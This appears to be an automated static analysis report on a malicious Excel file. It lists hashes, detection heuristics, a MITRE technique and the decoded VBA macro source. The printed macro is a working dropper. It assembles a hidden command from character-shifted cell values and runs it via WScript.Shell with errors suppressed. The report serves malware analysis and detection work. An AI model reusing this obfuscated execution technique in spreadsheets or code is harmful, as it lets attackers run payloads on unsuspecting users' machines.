Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b22e1571c169269b…

MALICIOUS

Office (OOXML)

63.4 KB Created: 2020-07-08 11:30:08 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-15
MD5: b9236072b57105e260444f147ae54927 SHA-1: 033a1cfd5780cb7ea3fabaabe8db663a5f13971d SHA-256: b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The OOXML document contains VBA macros that leverage WScript.Shell to execute arbitrary commands. The `maximize_Layout` subroutine constructs a string `H` by concatenating characters derived from cell values, and then attempts to execute this string using `WScript.Quit = CreateObject("Wscript.shell").exec(H)`. This indicates the macro is designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-8687906-0' further supports its role as a dropper.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-8687906-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8687906-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Next
    On Error Resume Next: Set WScript.Quit = CreateObject("Wscript.shell").exec(H)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Next
    On Error Resume Next: Set WScript.Quit = CreateObject("Wscript.shell").exec(H)
    End Sub

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1091 bytes
SHA-256: 3113075040315b0dabec3d231fd499784e095ddfa435b4cd9b9113821acb2c4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "maximize, 1, 0, MSForms, Frame"
Function ccs(a, aa As Integer)
ccs = Chr(Cells(a, aa).value - 1)
End Function

Private Sub maximize_Layout()
Dim u, s As Integer
For u = 1 To 6000: For s = 1 To 220
If IsEmpty(Cells(u, s)) = False Then H = H & ccs(u, s)
Next
Next
On Error Resume Next: Set WScript.Quit = CreateObject("Wscript.shell").exec(H)
End Sub
Sub comming()
Application.Wait (Now + TimeValue("0:00:08")): ActiveWorkbook.Close False
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 15360 bytes
SHA-256: 8a339463f0c41524b8f8da743cd7e7a56a45a62dc91a9a068452284395b0d374
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 3452 bytes
SHA-256: 54b052315a7835587bcb2fa386afbacf2a94167e40eee0ac27d35f7427a77df6